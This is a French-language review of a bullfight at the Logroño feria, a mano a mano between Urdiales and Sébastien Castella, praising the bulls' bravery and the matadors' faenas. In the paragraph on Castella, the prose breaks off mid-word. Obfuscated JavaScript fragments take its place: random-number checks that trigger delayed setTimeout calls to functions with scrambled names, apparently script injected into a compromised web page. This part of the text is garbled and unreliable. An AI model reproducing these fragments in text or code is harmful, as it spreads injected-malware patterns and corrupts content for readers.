LOGRONO : POURQUOI DOIT-ON SE SOUVENIR DU MANO A MANO D’URDIALES ET CASTELLA

Il y a des corridas mauvaises qu’on oublie et des corridas presque bonnes qui semblent répétées. Elles n’engendrent pas de passion et les aficionados les oublient aussi. Mais il y a des corridas qui vont au-delà et restent gravées dans la mémoire de ceux qui les ont vues. C’est le cas du mano a mano entre Urdiales et Sébastien Castella, à Logroño lors de la dernière feria qui vient de s’achever.

D’abord, car les toros de Fuente Ymbro furent, hormis le premier, non seulement braves mais encastés. C’est-à-dire qu’à leur bravoure –la volonté de charger- s’ajouta l’agressivité caractéristique de la caste –une agressivité offensive, et non défensive. Et comme les deux toreros se sont lancés à l’attaque comme s’ils étaient placides, l’émotion de la tauromachie explosa.

La prestation des deux toreros fut sous le signe d’un engagement quelque peu ingénu. Par exemple, Urdiales n’a pas suffisamment châtié le troisième de la corrida, comme s’il manquait de force ou de caste, et sa faena à la muleta fut une confrontation explosive entre la bravoure et le temple. Ni le toro, ni le torero n’ont gagné. Mais il y eut une conjonction, l’harmonie des contraires, l’essence de la tauromachie. La présidence ne l’a pas vu de la sorte, elle récompensa le matador de deux oreilles méritées et refusa le tour de piste à un toro exemplaire.

Le torero d’Arnedo apprit la leçon et au cinquième, un autre toro très brave, il lui infligea le châtiment qui lui correspondait. La brave violence qu’il exprima dans les véroniques à sa réception se transforma en une bravoure cadencée au cours de la faena de muleta, il en résulta un toreo lent, très pur, émouvant, qui me rappela par son esthétique celui d’Antonio Bienvenida et par sa profondeur celui de El Viti. Ce fut une faena élégante et pleine d’ivresse, avec le toro transformé en charge et le torero ayant oublié son corps. Une des faenas les plus importantes de la saison.

Si Urdiales eut à affronter deux toros importants et un impossible de toréer, Castella fit face à deux toros braves mais sans rythme et un troisième brave mais manquant de fond, des situations qui auraient conduit à l’échec le torero le plus adroit. Mais le maestro de Béziers associa à la dextérité le courage et l’engagement, et offrit aux toros le prestige de charges répondant davantage au toreo qu’à leur propre bravoure. Et au sixième il répondit à la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande faena de Urdiales avec un engagement sidéral, celui d’une figura del toreo, avec cette race qui le situe qui le fait se hisser au-delà des aléas et maintient indemne sa hiérarchie.

Lorsque la bravoure encastée des toros est confrontée avec le magistral engagement des toreros, les corridas cessent d’être un spectacle prévisible, proche des arts répétitifs et des apothéoses programmées caractéristiques de notre époque. Le mano a mano de Logroño fut une oasis de vérité, un bain purificateur, une corrida pour le souvenir.

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